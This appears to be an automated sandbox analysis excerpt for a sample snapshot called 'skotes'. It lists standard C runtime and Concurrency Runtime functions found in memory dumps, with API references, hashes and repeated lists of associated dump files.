
Function 002C52A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 002C53A0
type_info::operator==.LIBVCRUNTIME ref: 002C53C7
___TypeMatch.LIBVCRUNTIME ref: 002C54D3
IsInExceptionSpec.LIBVCRUNTIME ref: 002C55AE
CallUnexpected.LIBVCRUNTIME ref: 002C5650

Strings

csm, xrefs: 002C53FE
csm, xrefs: 002C534D
csm, xrefs: 002C52E0

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 0a6266f74f8e777d74e273ee2f6cabfd852440ec40989f81167c3f64e6ba61fc
Instruction ID: 7258f37df56e2bb600352ebcc9dc3d83d11636aa7dfc7e28cea3760859ce3585
Opcode Fuzzy Hash: 0a6266f74f8e777d74e273ee2f6cabfd852440ec40989f81167c3f64e6ba61fc
Instruction Fuzzy Hash: E0C18E7182066ADFCF25DF94C880EAEBBB5BF14355F50425EE8056B202C771EAA1CF91

Function 002C4840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 002C4877
___except_validate_context_record.LIBVCRUNTIME ref: 002C487F
_ValidateLocalCookies.LIBCMT ref: 002C4908
__IsNonwritableInCurrentImage.LIBCMT ref: 002C4933
_ValidateLocalCookies.LIBCMT ref: 002C4988

Strings

S9,, xrefs: 002C4925, 002C492E, 002C493F
csm, xrefs: 002C491D

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9,$csm
API String ID: 1170836740-729639884
Opcode ID: 3fe9beee86859c0d5ef5911e011653477b560ac82981e4422832416a2f0e6dbd
Instruction ID: 05013fb0acf62cdc20db5bcd36aa1951444ac41b476017d79793b071a11875a8
Opcode Fuzzy Hash: 3fe9beee86859c0d5ef5911e011653477b560ac82981e4422832416a2f0e6dbd
Instruction Fuzzy Hash: F241C234A202599BCF10EF28DC94F9FBBB4AF06314F148359E8145B252C771EA65CF90

Function 002B7364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 002B73B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 002B73F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 002B740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 002B7419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 002B7440

Strings

count, xrefs: 002B737E
ppVirtualProcessorRoots, xrefs: 002B7438

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: af844ab2e30683a45b886f75848c8cbf43dc14b27214a90ba8e01310fde4cf83
Instruction ID: 48b72bf35e252e9ecf0b81d3d77991ca6a948d7ec8a21ac3b6b1c736955205b7
Opcode Fuzzy Hash: af844ab2e30683a45b886f75848c8cbf43dc14b27214a90ba8e01310fde4cf83
Instruction Fuzzy Hash: 76218234A20209AFCF10EF65C9C5AEDBBB5BF49380F5540A9E901A7351DB30AE61CF90

Function 002AEE5F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 002AEEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 002AEEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 002AEEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 002AEF0F
Concurrency::Context::Block.LIBCONCRT ref: 002AEF31

Strings

i*, xrefs: 002AEED0

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID: i*
API String ID: 1182035702-2563642177
Opcode ID: 0ea1474f5e81659044d1f714c53769be63e40fe0633d4885024234b50b53eb56
Instruction ID: 6efff5b4b00465e65eb4ad16fa6209c223160b8722a225d560885f03225ca607
Opcode Fuzzy Hash: 0ea1474f5e81659044d1f714c53769be63e40fe0633d4885024234b50b53eb56
Instruction Fuzzy Hash: 06217E708302068FDF24DFA4C9456EEB7F0FF16320F11096AE161A61D1EFB54A66CB50

Function 002B78E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 002B7903

Part of subcall function 002B5CB8: __EH_prolog3_catch.LIBCMT ref: 002B5CBF
Part of subcall function 002B5CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 002B5CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 002B792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 002B7936

Part of subcall function 002B5CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 002B5D70
Part of subcall function 002B5CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 002B5D7E

